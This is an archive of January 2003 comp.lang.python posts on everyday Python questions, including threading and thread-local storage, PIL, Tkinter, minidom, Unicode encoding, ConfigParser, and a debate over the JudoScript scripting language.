Greg Chapman <glc at well.com> writes:

> It seems to me that threadstate could be made global, or at least
> thread local, within Python, thus freeing client code from ever
> having to explicitly create a threadstate.  For this to work, Python
> would have to have the equivalent of thread local storage on all
> supported platforms.

This is a k.o. criterion. Python currently supports 11 threading
libraries, and a process to remove support for some of them will need
several releases. There currently is no support for TLS, *except
through the thread state itself*.

> Looking over the thread-sig archives, Greg Stein suggested that TLS
> could be emulated on platforms which don't offer it natively using a
> Python dict and a lock (at any rate, it should be possible with some
> sort of synchronized data structure).

This points to another sore spot: that would require reliable thread
identification. Currently, thread identification is broken, as Python
assumes that an int is sufficient to encapsulate a thread id. There
are platforms where this assumption is invalid.

> With only one threadstate per thread, a thread could easily
> determine whether it has the GIL (the threadstate could have some
> sort of active flag which gets set when it obtains the GIL); this
> might solve David Abraham's problem (not sure).

That is, of course, expensive: Every lock/unlock call needs to find
the TLS as well.

> (It could also allow a thread to call AcquireThread multiple times
> without deadlock; since there would be only one threadstate per
> thread, that state could preserve a lockcount to handle recursive
> calls.)

This is actually what David Abrahams says his problem is: he wants a
recursive lock. Of course, for efficiency, it might be better to use
platform recursive locks where avaiable.

> Thinking further about this, for this to work cleanly I think Python
> would have to allow only one interpreter per process.

If you are going for TLS, this is not strictly necessary: every
interpreter could maintain its own TLS key. Of course, in cases where
you want to acquire a thread, this would not be helpful, as you then
often don't have an interpreter, either, so you could not find out
what the TLS key is.

> I never use multiple interpreters, so I'm not quite sure what
> they're used for, 

People think they can use them to have several independent execution
environments. This is not true, though, as extension modules don't
keep a per-interpreter state (bug plain global variables); several
other global tables exist.

I believe multiple interpreters where added to silence the recurring
request to have multiple interpreters, and either not knowing or
deliberately ignoring that people would not get what they think they
would get.

> but I wonder if the need for them could be eliminated by providing a
> new built-in type (sort of like RExec without the security overhead)
> which would initialize itself by doing the stuff that
> Py_NewInterpreter does to get a new copy of the global data space
> and which would provide methods for executing code in that copy of
> the data space.

This would share the quality of RExec, though: it sort-of works, but
if you dig long enough, you'll peek holes into it easily. Unlike
RExec, those holes can't be mended in the Python core itself - you'll
have to patch loads of third-party extension modules itself. Of
course, it wouldn't be worse than Py_NewInterpreter, except that it
would have to make claims that it couldn't fulfill.

Regards,
Martin



From maney at pobox.com  Thu Jan 16 10:14:59 2003
From: maney at pobox.com (maney at pobox.com)
Date: Thu, 16 Jan 2003 15:14:59 +0000 (UTC)
Subject: list_to_dict()
Message-ID: <b06i9j$art$1@wheel2.two14.net>

Motivation:  I have configuration/errata records that arrive as a list
of records; each record is itelf a list (hereafter a sublist).  For the
intended use I want to map each of these lists into a dictionary; the
dictionary's key is one or more of the sublist elements (fields), as
are the dictionary's values; multiple values are wrapped up as a tuple,
of course, but it is preferred for single objects to stand alone.  The
indexes of and number of fields that make up the keys and values varies
from dictionary to dictionary.

So I have found myself writing a lot of similar little loops that all
look more or less alike:

    aDict = {}
    for r in aList:
        aDict[(r[1],r[2])] = (r[0],r[2],r[3],r[5])

Since I hate repeating myself, I was led, after generalizing a bit, to
the following provisional solution:

def list_to_dict(aList, key_indexes, value_indexes):

    if len(key_indexes) > 1:
        def k(): return tuple([a[i] for i in key_indexes])
    else:
        def k(): return a[key_indexes[0]]
    if len(value_indexes) > 1:
        def v(): return tuple([a[i] for i in value_indexes])
    else:
        def v(): return a[value_indexes[0]]

    res = {}
    for a in aList:
        res[k()] = v()
    return res

Of course this relies upon nested scopes as written.  I'm not entirely
happy about this factoring, though it does avoid placing the "single
object or tuple?" decision inside the loop... even if that is probably a
premature optimization for my use, it's just too ugly the other way.

I had expected to find something like this already in the Cookbook, but
I didn't.  At least not as a stand-alone - I didn't sift through any
number of things that searching turned up that might have included
something like this as a component of a larger recipie.



From pythonhda at yahoo.com.replacepythonwithlinux  Tue Jan  7 13:44:46 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Tue, 7 Jan 2003 13:44:46 -0500
Subject: PIL JPEG pixel problem
References: <df392399.0301070946.5455fd55@posting.google.com>
Message-ID: <20030107134446.3bdbd36c.pythonhda@yahoo.com.replacepythonwithlinux>

jpeg is a lossy compression algorithm, I believe. So you never get back exactly what you compress (save). Try it with png and see if you get the same results.

On 7 Jan 2003 09:46:13 -0800
itcram at yahoo.com (Mark) wrote:

> I'm having problems changing the pixels in a .jpg file.
> 
> >>>import Image
> >>> x = Image.open('te.jpg')
> >>> x.getpixel((0,0))
> (255, 255, 255)
> >>> x.putpixel((0,0),(100,150,165))
> >>> x.save('asdf.jpg')
> >>>
> >>> x = Image.open('asdf.jpg')
> >>> x.getpixel((0,0))
> (146, 146, 146)
> 
> When I open it up after changing the pixels they are I get totally
> different pixels from (100,150,165) to (146,146,146).  I've tried
> using the different options in the save() method(not all possible
> combonations), but they always are different.  Does anyone know how I
> can fix this?
> 
> Thanks!



From judoscript at hotmail.com  Thu Jan  9 00:19:02 2003
From: judoscript at hotmail.com (James Huang)
Date: 8 Jan 2003 21:19:02 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <_aidncfu-8LtqIGjXTWc3A@comcast.com>
Message-ID: <52719db8.0301082119.78b2c941@posting.google.com>

"Terry Reedy" <tjreedy at udel.edu> wrote in message news:<_aidncfu-8LtqIGjXTWc3A at comcast.com>...
> "James Huang" <judoscript at hotmail.com> wrote in message > I've heard
> big software projects done in Python, guess that's what you
> > are referring to. Being a C/C++/Java guy, it is hard for me to
>  imagine
> > creating big software with weakly-typed languages beyond
> prototyping.
> 
> If you are refering to Python as 'weakly-typed', you are mistaken.
> Except for some class instances, Python objects have fixed types.  No
> 'casting' allowed.  Even the exceptions are limited.  If you try to
> understand Python from a C/C++ mindset (which is where I also came
> from), you will fail.
> 
> TJR

That's exactly what I was trying to find out in a hurry. Thanks for
clarifying. I wish I could take back my ignorance.

-James



From hancock at anansispaceworks.com  Mon Jan 13 14:18:23 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Mon, 13 Jan 2003 19:18:23 GMT
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <x7ptr2rs1a.fsf@guru.mired.org> <avt19i$r4$1@slb0.atl.mindspring.net> <mailman.1042419802.2139.python-list@python.org> <3E22224E.313ADB4A@engcorp.com>
Message-ID: <3iEU9.8324$Qr4.813921@newsread1.prod.itd.earthlink.net>

Peter Hansen wrote:
> Andrew Bennetts wrote:
>> In which case, perhaps all they want is the following code:
>>      from copy import copy, deepcopy
>>      __builtins__.copy = copy
>>      __builtins__.deepcopy = deepcopy
> Added to a file called sitecustomize.py somewhere in the set
> of directories in sys.path...

Which means it'll break as soon as someone else tries to use his code. 
Isn't that a very forgettable place? It reminds me of another thread in 
which someone wanted to be able to reach standard library modules even if 
they are overloaded by a local module.  Is this really a wise thing to do? 
Or should such code perhaps go in a __init__.py for whatever package is 
being developed?

Just trying to plan ahead ;-)

Cheers,
Terry


-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From martin at v.loewis.de  Fri Jan 17 04:09:01 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 17 Jan 2003 10:09:01 +0100
Subject: xml.dom.minidom.parse() splitting text nodes?
References: <mailman.1042760131.22057.python-list@python.org>
Message-ID: <m3d6mwuor6.fsf@mira.informatik.hu-berlin.de>

hawkeye.parker at autodesk.com writes:

> has anyone else run across this issue?  can you explain it?

The text nodes are created as the underlying parser (Expat) reports
chunks of text data.

Those data are chunked for various reasons:
- if you have character references or entity references, everything
  up to the reference will be reported as a chunk, then the referenced
  data will be reported as a chunk, and everything after it will be reported
  as a chunk.
- Expat buffers the input in blocks. Everytime the block is exhausted,
  its data is reported as a chunk.

You are likely seeing the second case.

This is, strictly speaking, no bug: the DOM reader is entitled to
represent the document in such a way. The minidom implementation in
PyXML will, however, avoid splitting the text nodes if it can.

In general, this issue is what lead to the introduction of the
.normalize method in the DOM; this merges adjacent text nodes
throughout the tree.

Regards,
Martin




From lac at strakt.com  Mon Jan 27 16:26:04 2003
From: lac at strakt.com (Laura Creighton)
Date: Mon, 27 Jan 2003 22:26:04 +0100
Subject: list of Canvases contais only Nones 
In-Reply-To: Message from Laura Creighton <lac@strakt.com> 
   of "Mon, 27 Jan 2003 21:56:31 +0100." <200301272056.h0RKuVjL017555@ratthing-b246.strakt.com> 
References: <3E359B99.6060102@aon.at> <200301272056.h0RKuVjL017555@ratthing-b246.strakt.com> 
Message-ID: <200301272126.h0RLQ4jL017715@ratthing-b246.strakt.com>

> > hello,
> > 
> > i am creating a frame with a lot of small canvases on it ant want to
> > store the references in a list, but i get a list of nones instead.
> > the frame gets created and shows all the canvases! so they are 
> > definitely somewhere.
> > 
> > whats wrong with my code?
> > 
> > #my try:
> > 
> > canv_list = []
> > root = Tkinter.Tk()
> > for j in range(0,y_nr):
> >      for i in range(0,x_nr):
> >          canv_list.append(Tkinter.Canvas(root,
> >                                          width = x_size,
> >                                          height = y_size,
> >                                          background = 'white',
> >                                          border = 0
> >                                          ).grid(row=j,column=i)
> >                           )
> > print canv_list
> > 
> > # the output of this code:
> > 
> > [None, None, None, None, None, None]
> > 
> > Thanks for help, Meinrad Recheis
> > 
> > -- 
> > http://mail.python.org/mailman/listinfo/python-list
> 
> <anything>.grid, and <anything>.pack return None.  You need to make a
> list of widget, row, col triplets, and then grid them all in a later
> step.
> 
> Laura Creighton

Following up my own post, bleah ...

This is assuming that you want to keep those rows and columns
someplace so you could, for intance, store them again.  If all
you need to do is make a list of of your widgets, then you just
say widget = Tkinter.Canvas(whatever)
    canv_list.append(widget)
    widget.grid(row=j,column=i)

Laura






From theller at python.net  Fri Jan 31 12:51:12 2003
From: theller at python.net (Thomas Heller)
Date: 31 Jan 2003 18:51:12 +0100
Subject: mention of books & extensions welcome, or...? (was Re: Scripting *of* Python)
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com> <mailman.1043990705.14436.python-list@python.org> <0Ur_9.148187$AA2.6031796@news2.tin.it> <yyyvg05kzne.fsf@adams.patriot.net> <soy_9.151609$AA2.6131659@news2.tin.it> <7h3d6mdw76c.fsf@pc150.maths.bris.ac.uk>
Message-ID: <ptqd6wdr.fsf@python.net>

Michael Hudson <mwh at python.net> writes:

> Alex Martelli <aleax at aleax.it> writes:
> 
> > Is this just an isolated opinion, with most readers still
> > welcoming mentions and details about Python books and
> > extension packages; or, has comp.lang.python's consensus
> > shifted so drastically, so fast, so that such mentions are
> > now seen as undesirable "product placement"???
> 
> No.

No.

Thomas



From NObjSPAM at efiqual.com.ar  Fri Jan 17 07:43:12 2003
From: NObjSPAM at efiqual.com.ar (Bernardo Clavijo)
Date: Fri, 17 Jan 2003 09:43:12 -0300
Subject: Creating a Configuration File with ConfigParser
Message-ID: <20030117094312.0c81b18a.NObjSPAM@efiqual.com.ar>

Hello, everybody, I'm a newbie in python, so, you'll be reading a lot of
idiot questions by me ;-)
This time the question is:
Could I create a new configuration with ConfigParser? I know I can
change the values taken form a file, but:
Could it create a new section and add new items?
If you know how to do it tell me, if this couldn't be done with
ConfigPaser tell me if there's another way.

Saludos

    BJ
Bernardo Clavijo



From m.faassen at vet.uu.nl  Tue Jan 14 07:57:44 2003
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 14 Jan 2003 12:57:44 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <3E1D4953.1080704@mxm.dk> <o1lq1v8p8hd8a7u4ppju93h8sb7idcoh9r@4ax.com>
Message-ID: <b011g8$a5g$2@newshost.accu.uu.nl>

Afanasiy <abelikov72 at hotmail.com> wrote:
> I already knew I could make aliases/references or 'macros' (as the
> documentation calls them) to members I wish to access more easily.

I'm curious. What documentation calls this 'macros'? Why are the people
who wrote that documentation still alive? They'd have been eaten by hoardes
of screaming lisp masses by now, right?

Anyway, what's wrong with this technique? I like it, and there's actually
a different in behavior (less attribute lookups) which is explicitly visible.

It should be clear enough by now that there's no pythonic way to do what
you're asking. :)

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?



From neil at saebex.com  Mon Jan 20 03:18:59 2003
From: neil at saebex.com (Neil Broers)
Date: 20 Jan 2003 00:18:59 -0800
Subject: Digitally signing email messages
Message-ID: <de947bd7.0301200018.1daf71d9@posting.google.com>

Hi all,

I have been working lately with a library called M2Crypto to digitally
sign multipart mime messages. M2Crypto, however, is no longer
available and the only howto document is no longer hosted. Does anyone
know of an alternate library which has the same functionality, or has
anyone used M2Crypto and have any examples of digitally signing
multipart mime messages?

Appreciate any help,
Neil



From Mongryong at sympatico.ca  Thu Jan 30 17:49:54 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 30 Jan 2003 17:49:54 -0500
Subject: Python Success Stories or Nightmares
Message-ID: <1043966994.2227.113.camel@refugeeMedia>

Hey, let's try to be more productive on this list so we can help the
'subpar' programmers inspiring to superstar "engineers" like some people
on this list are.  Let's put those 1984 BASC Diploma to good use.

Let's hear people's success stories with Python and why they did the
switch.  Or, tell us about you're Python nightmare and why you're still
questionable about the language as more than a 'glue' language.  Give
suggestions on what you might have done differently in your projects? 
What works and doesn't work in Python.  Python is not the end-all-be-all
language folks.  So let's help people out about when it's good to use
Python and when it's not.

I for one would like to know, if anyone has written a 'real' compiler
for Python like "jcc" is for Java?  What are some of the difficulties in
writing such a compiler (type-checking and dynamic importing to
start...).

Thanks.









From judoscript at hotmail.com  Thu Jan  9 10:55:39 2003
From: judoscript at hotmail.com (James Huang)
Date: 9 Jan 2003 07:55:39 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <x74r8lynz2.fsf@guru.mired.org> <52719db8.0301071950.33e1917e@posting.google.com> <x7wulgwa1g.fsf@guru.mired.org> <52719db8.0301080803.3105438@posting.google.com> <x765szwop4.fsf@guru.mired.org>
Message-ID: <52719db8.0301090755.52eb04e1@posting.google.com>

Mike Meyer <mwm at mired.org> wrote in message news:<x765szwop4.fsf at guru.mired.org>...
> judoscript at hotmail.com (James Huang) writes:
> 
> > Mike Meyer <mwm at mired.org> wrote in message news:<x7wulgwa1g.fsf at guru.mired.org>...
> > > judoscript at hotmail.com (James Huang) writes:
> > > 
> > > > > > Have you ever thought about scripting more areas, such
> > > > > > as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
> > > > > > script OS commands, all at once? Think about it!
> > > > > I have. I've written in it. It's called Rexx. Where JudoScript is as
> > > > > much a multi-target scripting langauge as this article is novel, Rexx
> > > > > is the real McCoy.
> > > > Admittedly I'm no Rexx person.
> > > In that case, you've missed the first true multitarget scripting
> > > language, and it's only been around for 20 years now. I'd say you
> > > failed to check on prior work properly.
> > You've mentioned multi-"target" twice now, and I need to do some
> > research on that. JudoScript is a tool for Java, so I checked Java
> > scripting languages and felt comfortable.
> 
> That's obviously pretty short-sighted. Basically, Rexx lets you talk
> to any Rexx-enabled application the same way most Unix scripting
> languages talk to the shell. The result is very powerful - once you
> get enough applications Rexx-enabled.

Being a Java-based scripting language, it is reasonable to check out
Java scripting languages. You can certainly Java-enable an application
(via JNI, for instance, or CORBA, or ActiveX, ...) and have it
accessible from Java or its scripting languages. -- I don't see why
Rexx is particularly more powerful -- but I know little about Rexx so
may missed a lot.

> 
> > > As others have mentioned, you can do this kind of thing with VBA. On
> > > Unix, you can do it with CORBA. The real measure of the power of this
> > > approach is how many applications will support what you're doing.
> > Actually it is not VBA or CORBA, it is object model.
> 
> CORBA provides you with an object model. When scripting a
> CORBA-enabled application, you manipulate objects in the
> application. And you can do it from any language that has CORBA
> support, which is most of the ones I'm familiar with - including Java.
> 
> > In Java, each object is a (mini) application. Any application is a
> > collection of objects. We don't even need a command-line interface for
> > that matter to use the magic of Rexx, do we? That's why Java is a
> > dream platform not only for scripting, but also programming as well!
> 
> Jave doesn't do multiple inheritance, which makes it far from a "dream
> platform" for programming as far as I'm concerned. I'd recommend you
> check out Bertrand Meyer's "Object Oriented Software Construction" for
> the reasons why not doing MI is a bad thing. Actually, I recommend
> that book to anyone who does or wants to do OO programming.
> 

There are prenty of discussions about Java, ... seems people are
pragmatic enough to accept Java without multi-inheritance.

> > > How hard is it to add judoscript support to a random application, and
> > > how much overhead does it add? Do I have to embed a java vm in the
> > > thing to use it? What advantage does it give me over doing a CORBA
> > > interface - see <URL: http://www.mired.org/home/mwm/scripting/ > for a
> > > bit on that - to make up for the loss of the ability to write scripts
> > > in any language with CORBA support? On Windows, you get to do the same
> > > comparison with ActiveX or whatever MS is calling their distributed
> > > object technology this month.
> > I sensed you are not quite into Java, but unfortunately I am all Java
> > now. I thought IBM is pretty big on Java, perhaps it's just because
> > IBM is big that makes IBM-Java look big?
> 
> You failed to answer the questions, and these as well:
> 
> > > Unix, you can do it with CORBA. The real measure of the power of this
> > > approach is how many applications will support what you're doing.
>  
> > > For instance, you talk about scripting in SQL. How many databases does
> > > it work with, and which ones?
> 
> So I get the impression that Judoscript is only about scripting Java
> objects, and not about scripting applications. That means it's limited
> to applications written in Java, which is pretty pittiful. That also

Yes, it's all about Java. In terms of non-Java applications, some of
them can (like though ActiveX scripting or CORBA-Java), or as
mentioned earlier, somehow Java-enabled.

> means that JudoScript differs from Jython and similar Java tools only
> in syntax.

I'd say JudoScript as a language provides more than any other pure
programming languages, (practically they all are.) -- Please see my
definition of "scripting" and "scripting languages" in my response to
Dave Brueck (in Google Groups, it is thread #29).

> 
> Personally, I'd rather *not* learn another language just to script my

Of course, of course.

> objects. What little Java programming I've done I used Jython for
> scripting because I already knew Python. If I were going to get
> serious about Java, I'd look for a Java scripting tool that let me use
> Java syntax for everything.

You are not alone, there are more than one such project to interpret
Java as a scripting language, let alone BeanShell and now JavaScript
are very close to Java. (For the most part, so is JudoScript.) Jython
is not, and this is interesting to hear from a Python programmer.

But, when you do, hopefully you will think twice. Scripting is much
more than saving a compile.

> 
>         <mike

Thanks,
-James



From martin at v.loewis.de  Thu Jan  9 05:51:24 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 09 Jan 2003 11:51:24 +0100
Subject: "%s" vs unicode
References: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk> <m3u1gkwvui.fsf@mira.informatik.hu-berlin.de> <3e1c3d59$1@news.fhg.de>
Message-ID: <m3hecioatv.fsf@mira.informatik.hu-berlin.de>

Gerd Woetzel <woetzel at gmd.de> writes:

> Unfortunately the "general principle" is wrong.
> There is a canonical embedding of Unicode strings into byte strings (which
> is UTF-8) but no canonical embedding of byte strings into Unicode strings.
> Hence it should be vice versa.

In the original Unicode proposal, there was no notion of a settable
default encoding (and this feature is still experimental); the default
encoding, at that time, was UTF-8.

Then people requested that byte-string-unicode-string conversion
should use other encodings, and it was pointed out that UTF-8 is maybe
confusing for existing applications. So the default encoding is now
administrator-settable, and defaults to ASCII.

With ASCII being the default encoding, there is *no* canonical
embedding of Unicode strings into byte strings: some Unicode strings
("most") cannot be converted to a byte string automatically.

The same is of cause true in the other direction: not all byte strings
can be converted to Unicode strings. For practical purposes,
converting byte strings works "more often", since the byte string will
be an ASCII string (literal) in many cases when combining it with a
Unicode string.

Regards,
Martin




From judoscript at hotmail.com  Tue Jan  7 00:30:24 2003
From: judoscript at hotmail.com (James Huang)
Date: 6 Jan 2003 21:30:24 -0800
Subject: Novel Thoughts on Scripting and Languages
Message-ID: <52719db8.0301062130.5299a0ff@posting.google.com>

Perl and Python programmers are all material witnesses
of how scripting can greatly improve productivity. That's
why scripting languages enjoy great success. Scripting
means that we can issue OS commends from within a
full-fledged programming language -- a scripting language.

Have you ever thought about scripting more areas, such
as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
script OS commands, all at once? Think about it!

In Perl and Python, anything beyond OS-level scripting
must be programmed through some kind of APIs. APIs are
great for creating robust software applications, hence
are generic, detailed and low-level. Practically, they
are "anti-scripting". Scripting really means to specify
your needs in a specific domain. For example, you specify
a "cp" command to copy file(s) instead of open two files,
read from one then write into another. In the case of
Python and Perl, the domain is OS itself.

Perhaps back then, it was satisfactory enough to script
just OS commands. Not any more! Today, SQL, XML, HTML,
HTTP and E-mail are a part of our everyday lives. A
language tool capable of scripting all these will put
tremendous power in the hands of innovative programmers.
The good news is, such a tool has emerged -- JudoScript.

JudoScript is a general-purpose, Java scripting,
multi-domain language. It is a general-purpose
programming language, fully capable of Java scripting,
and supports many applcation features in a
domain-specific way that include:

  JDBC scripting
  XML scripting
  SGML scripting
  ActiveX scripting
  HTTP server and client scripting
  OS-level scripting
  Java GUI scripting
  Send mail
  Scheduler
  SSH, SCP and FTP
  and more, and is growing

How can JudoScript achieve so much? It stands on the
shoulders of Java and open source. It implements a lot,
too. Try these links, especially the white paper:

  http://www.judoscript.com/articles/whitepaper.html
  http://www.judoscript.com
  http://www.judoscript.com/articles/
  http://www.judoscript.com/ref/
  http://www.judoscript.com/examples/


What about Python and Perl? One thing you need to
realize is that, Perl, Python and Java communities
have all been developing large amount of code
overlapping similar areas, but Java is standing out.
This is reality. A same Java API can be used by Java
(a popular system language) and also scriptable by any
Java-based scripting languages. You can't beat that.

But Java does have limitations, since it is a common
denominator of all platforms.

The rule of thumb is, if your scripts make a lot of
system calls, stay where you are; otherwise, Java is
well worth investigating. If you do, then do it with
the right tool -- JudoScript -- you won't regret it.


Wish you all a fruitful year of 2003!


-James Huang,
 author of JudoScript



From howard at eegsoftware.com  Mon Jan 13 00:37:06 2003
From: howard at eegsoftware.com (Howard Lightstone)
Date: Mon, 13 Jan 2003 05:37:06 GMT
Subject: tkinter: Scrolling Very Long Menus On X-Windows
References: <2v1tva.qap.ln@boundary.tundraware.com> <mailman.1042422442.2728.python-list@python.org> <mldtva.9cr.ln@boundary.tundraware.com>
Message-ID: <Xns9301DB8859C8howardeegsoftwarecom@66.75.162.201>

Tim Daneliuk <tundra at tundraware.com> wrote in
news:mldtva.9cr.ln at boundary.tundraware.com: 

> jepler at unpythonic.net wrote:
>> On Mon, Jan 13, 2003 at 12:50:07AM +0000, Tim Daneliuk wrote:
>> 
>>>I have a situation where I dynamically create menus that are longer
>>>than the available vertical screen size.  On Win32, I get up- and
>>>down- scrolling buttons at the top and bottom of the menu
>>>respectively.  However, this does not happen on Unix (X).  Is there a
>>>way to get X to do the same thing? 
>> 
>> 
>> Not as far as I know.  This is a limitation of the Menu widget as
>> implmented in Tkinter for X.  On Microsoft Windows, it uses the
>> "real" window control, which scrolls nicely.
>> 
>> With a little bit of work you could make an auto-cascading or
>> auto-subdividing menu, though.
>> 
>> Jeff
>> 
> 
> Thanks - I wonder how practical it would be to inherit from Menu and
> add scrolling ...
> 
Try Pmw.   It's Python (using Tkinter) and it has all those automatic 
scrolled regions you want.



From clifford.wells at attbi.com  Wed Jan 15 11:11:13 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 15 Jan 2003 08:11:13 -0800
Subject: portalocker in Win98
In-Reply-To: <0vdV9.2732$YI5.1679@news2.central.cox.net>
References: <fe35b211.0301140932.62d3d334@posting.google.com>
	 <aydHLjAkCGJ+Ewoi@jessikat.demon.co.uk>
	 <200301150748.18069.rjones@ekit-inc.com>
	 <mailman.1042578749.1393.python-list@python.org>
	 <0vdV9.2732$YI5.1679@news2.central.cox.net>
Message-ID: <1042647073.3593.3.camel@x1-6-00-04-5a-64-c4-03>

On Wed, 2003-01-15 at 05:38, Steve Holden wrote:

> Clearly something quite advanced is required here. I spoke to the Microsoft
> help desk.
> 
> After a three-hour session in which I educated them about the benefits of
> Python and the features and facilities offered by the language, they came up
> with the following suggestion: "Make use of the Microsoft Office locking
> algorithm by creating a COM object encapsulation an instance of Word and
> have it open a  document. If the document is already open then Word wil
> report an error that your program can use to determine the lock is currently
> set."

Their design is perfect.

-- 
Cliff Wells <clifford.wells at attbi.com>





From eric.brunel at pragmadev.com  Thu Jan  2 04:47:26 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Thu, 2 Jan 2003 10:47:26 +0100
Subject: Code returned by poll() method on popen2.Popne3/4 objects
Message-ID: <av11ft$4k5$1@news-reader11.wanadoo.fr>

Hi all,

I'm playing with the poll() method on popen2.Popen4 objects and I noticed a 
little ambiguity in its documentation. It says:

"""
Returns -1 if child process hasn't completed yet, or its return code 
otherwise.
"""

but apparently, the returned value is not only the "return code" (which for 
me is the value passed to the program's call to exit(...)), but the same 
value returned by os.wait(), including the signal number that killed the 
program in the low byte and the actual return code in the high byte.

Can anyone confirm that? If it is so, IMHO, it would be better to change 
the documentation of the os module to make it clearer.

TIA
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From tismer at tismer.com  Fri Jan 31 11:17:19 2003
From: tismer at tismer.com (Christian Tismer)
Date: Fri, 31 Jan 2003 17:17:19 +0100
Subject: Implicit lists
In-Reply-To: <of5x8hdd.fsf@python.net>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <200301301823.54257.aleax@aleax.it> <3E39EF53.2050206@tismer.com> <200301310815.52803.aleax@aleax.it> <mailman.1044024304.31027.python-list@python.org> <of5x8hdd.fsf@python.net>
Message-ID: <3E3AA18F.2090405@tismer.com>

Thomas Heller wrote:
> Christian Tismer <tismer at tismer.com> writes:
> 
> 
>>Here the same, written in some bad Python style,
>>but as a builtin, it would do quite much
>>simplification for argument checking:
>>
>> >>> def iscontainer(obj):
>>... 	try:
>>... 		obj[0:0]   # is sequence
>>... 		try:
>>... 			buffer(obj)
>>... 			return False
>>... 		except:
>>... 			pass
>>... 		return True
>>... 	except:
>>... 		return False
>>...
>> >>> iscontainer("")
>>0
>> >>> iscontainer(1)
>>0
>> >>> iscontainer(())
>>1
>>
>>I'm (ab)using the fact that sequences which are
>>no containers usually support the buffer interface.
> 
> 
> This is worse, IMO.
> 
> ctypes' instances support the buffer interface, whether
> they are sequences (or containers) or not.

ctypes is no standard module, and nobody can
foresee arbitrary implementations in extensions.
I said that this is bad Python style, since
I had no other way to express what I mean.
Surely a better concept is needed.

My point is not the implementation but
the fact that we want to decide between
objects which are meant as parameter lists
and which are not.

> All this speaks for Alex'
> 
>     try:
>         obj+''
>     except TypeError:
>         return 
> 
> construct, although I can think of cases where it would
> be problematic.  Think of huge 200 MB strings...

No, this only covers strings and alikes.
This is all sort of hackish and not exactly
expressing what we want to say.

On the 200 MB thing: for strings, forget it, we're lucky.
 >>> a="hallo"
 >>> a+"" is a

ciao - chris





From andy at wild-flower.co.uk  Tue Jan 28 07:51:46 2003
From: andy at wild-flower.co.uk (Andy Jewell)
Date: Tue, 28 Jan 2003 12:51:46 +0000
Subject: Dumb Q #1
In-Reply-To: <3e35fde8_3@corp.newsgroups.com>
References: <3e35fde8_3@corp.newsgroups.com>
Message-ID: <200301281251.46401.andy@wild-flower.co.uk>

Norm,

Did you want to save the changes to the file?  If you did, you need to do the 
following:

1) Recombine fields into a colon-delimited string and put that back into the 
relevant place in the records list.  You can't modify the list you'r 
iterating safely, so iterate a slice of it, ie:

for record in records[:]:

2) Rewrite the records list back to the file.  Modifying the records /list/ 
merely changes the copy in memory.

** You probably want to back up the original before modifying it!

hope this helps, 
-andyj

On Tuesday 28 Jan 2003 3:55 am, Norm wrote:
> I would like to open this unix passwd file and chang the GID of those who
> have a GID of 200 to 199
>
> This does everything except change fields[3] to 199
>
> Thoughts?
> Norm
>
> ##############################
> import sys
> try:
>     file = open ("passwd.txt" , "r+")
> except IOError, message:
>     print >> sys.stderr," Can't open the file:", message
>     sys.exit(1)
>
> records = file.readlines()
>
> for record in records:
>     fields = record.split(':')
>     if fields[3] == "200":
>         print fields[0], " has a GID of 200"
>         print "now changing it to 199"
>         fields[3] = 199
> file.close()
>
>
>
>
> -----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
> http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
> -----==  Over 80,000 Newsgroups - 16 Different Servers! =-----





From ny_r_marquez at yahoo.com  Wed Jan 15 14:00:49 2003
From: ny_r_marquez at yahoo.com (R.Marquez)
Date: 15 Jan 2003 11:00:49 -0800
Subject: Boa vs. PythonCard
References: <pan.2002.12.02.21.04.52.49750.699@thomas-guettler.de> <3E23EFB0.7080101@remov try vanderkleyn.com> <8a27e309.0301141130.a1f6140@posting.google.com> <mailman.1042619127.28594.python-list@python.org>
Message-ID: <8a27e309.0301151100.5b3423f0@posting.google.com>

"Bo M. Maryniuck" <b.maryniuk at forbis.lt> wrote in message news:<mailman.1042619127.28594.python-list at python.org>...

> It's crashes. Probably wants newest wxPython...

Probably tue.  I took the new release of Boa as a good oportunity to
update my wxPython version.  I haven't run into any problems so far.

As a side note, I tried PythonCard and liked it very much too.  I like
the separation of interface and application code that one can achieve
with it.  Although I agree that it feels inmature, I think there is
great potential there, and it is already usable.  I would recommend
trying it on a small project to get the feel for it.  I think you will
like it too.

I'm not famliar with Boa, but I'm looking forward to trying it.  The
documentation seems good, we'll see...

-Ruben



From yaipa at yahoo.com  Thu Jan  2 13:11:53 2003
From: yaipa at yahoo.com (yaipa h.)
Date: 2 Jan 2003 10:11:53 -0800
Subject: Python Win32 API question.
References: <6e07b825.0212311627.741bdfe5@posting.google.com> <ack71v4i13bucjdm71ec9j58suog3hn9p2@4ax.com>
Message-ID: <6e07b825.0301021011.217be573@posting.google.com>

Tim,

Many Thanks, friend. 

Regards of the best kind.

Alan Haffner

